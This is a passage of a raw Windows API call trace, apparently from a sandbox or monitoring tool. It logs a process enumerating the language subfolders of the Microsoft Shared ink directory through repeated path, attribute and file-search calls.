| out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", lpFilePart=0x0) returned 0x38 [0077.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0077.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0077.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", lpFilePart=0x0) returned 0x38 [0077.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.495] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.495] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.496] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.496] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", lpFilePart=0x0) returned 0x38 [0077.496] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.496] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.496] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.496] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.496] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", lpFilePart=0x0) returned 0x38 [0077.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0077.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0077.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", lpFilePart=0x0) returned 0x38 [0077.496] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.497] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.497] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.497] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.497] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.497] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", lpFilePart=0x0) returned 0x38 [0077.497] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.497] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.497] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.497] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.497] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.497] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", lpFilePart=0x0) returned 0x38 [0077.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0077.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0077.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", lpFilePart=0x0) returned 0x38 [0077.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.498] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.498] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.498] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.498] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", lpFilePart=0x0) returned 0x38 [0077.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.498] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.498] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.498] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.498] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", lpFilePart=0x0) returned 0x38 [0077.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0077.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0077.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", lpFilePart=0x0) returned 0x38 [0077.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.499] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.499] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.499] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.499] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.499] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.499] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.499] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.499] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.500] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.500] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", lpFilePart=0x0) returned 0x38 [0077.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.501] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.501] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.501] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.501] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.501] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.501] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.502] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.502] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.503] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", lpFilePart=0x0) returned 0x38 [0077.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0077.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0077.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.503] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", lpFilePart=0x0) returned 0x38 [0077.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.503] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.503] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.503] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.503] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.504] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", lpFilePart=0x0) returned 0x38 [0077.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.504] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.504] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.504] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.504] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.504] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", lpFilePart=0x0) returned 0x38 [0077.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0077.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0077.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.504] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", lpFilePart=0x0) returned 0x38 [0077.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.504] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.504] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.504] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.504] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", lpFilePart=0x0) returned 0x38 [0077.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.505] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.505] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.505] FindNextFileW (in: 